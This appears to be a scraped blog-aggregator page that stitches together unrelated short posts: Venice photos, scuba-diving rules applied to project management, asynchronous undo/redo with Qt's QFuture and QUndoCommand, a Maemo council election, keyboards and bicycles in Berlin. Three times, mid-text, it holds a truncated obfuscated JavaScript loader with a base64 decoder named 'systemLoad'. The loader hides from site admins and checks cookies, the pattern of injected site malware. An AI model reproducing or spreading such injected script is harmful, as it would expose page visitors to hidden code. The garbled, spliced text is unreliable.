The photos below are taken in fifteen minutes, walking about 200m.

The post Fifteen minutes in a Venetian park appeared first on René Seindal.

• First rule. You must understand the rules of scuba diving. If you don’t know or understand the rules of scuba diving, go to the second rule.
• The second rule is that you never dive alone.
• The third rule is that you always keep close enough to each other to perform a rescue of any kind.
• The forth rule is that you signal each other and therefor know each other’s signals. Underwater, communication is key.
• The fifth rule is that you tell the others, for example, when you don’t feel well. The others want to know when you emotionally don’t feel well. Whenever you are insecure, you tell them. This is hard.
• The sixth rule is that you don’t violate earlier agreed upon rules.
• The seventh rule is that given rules will be eclipsed the moment any form of panic occurs, you will restore the rules using rationalism first, pragmatism next but emotional feelings last. No matter what.
• The eighth rule is that the seventh rule is key to survival.

These rules make scuba diving an excellent learning school for software development project managers.

(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i

Imagine we want an editor that has undo and redo capability. But the operations on the editor are all asynchronous. This implies that also undo and redo are asynchronous operations.

Dear friends and Maemoans. It is again the time for us to elect the new Community Council.

The schedule for the voting process is as follows:

• The nomination period starts next Monday, on the 1st of May 2017 and will continue until the 23rd of May 2017.
• The election starts on Thursday, on the 1st of June 2017 and will continue until the 7th of June 2017. In order for us to keep the community strong, we need to have new people with fresh ideas to carry on the torch. So, please consider volunteering for the position of Maemo Council.

  On behalf of the outgoing Community Council,

  eekkelund

As mentioned in my Working on Android post, I’ve been using a mechanical keyboard for a couple of years now. Now that I work on Flowhub from home, it was a good time to re-evaluate the whole work setup. As far as regular keyboards go, the MiniLa was nice, but I wanted something more compact and ergonomic.

Combining QFuture with QUndoCommand made a lot of sense for us. The undo and the redo methods of the QUndoCommand can also be asynchronous, of course. We wanted to use QFuture without involving threads, because our asynchronosity is done through a process and IPC, and not a thread. It’s the design mistake of QtConcurrent‘s run method, in my opinion. That meant using QFutureInterface instead (which is undocumented, but luckily public – so it’ll remain with us until at least Qt’s 6.y.z releases).

So how do we make a QUndoCommand that has a undo, and that has a redo method that returns a asynchronous QFuture<ResultType>?

We just did that, today. I’m very satisfied with the resulting API and design. It might have helped if QUndoStack would be a QUndoStack<T> and QUndoCommand would have been a QUndoCommand<T> with undo and redo’s return type being T. Just an idea for the Qt 6.y.z developers.(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i

Among the problems we’ll face is that we want asynchronous APIs that are undoable and that we want to switch to read only, undoable editing, non-undoable editing and that QML doesn’t really work well with QFuture. At least not yet. We want an interface that is easy to talk with from QML. Yet we want to switch between complicated behaviors.

Perfection has been reached not when there is nothing left to add, but when there is nothing left to take away.(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i

I've been bicycling all my life, and its one of the very few things I miss here in Venice. Berlin, on the other hand, is full of bicycles.

The post Bicycles in Berlin appeared first on René Seindal.

Berlin 25 years later could just as well be another city.

The post Berlin 25 years later appeared first on René Seindal.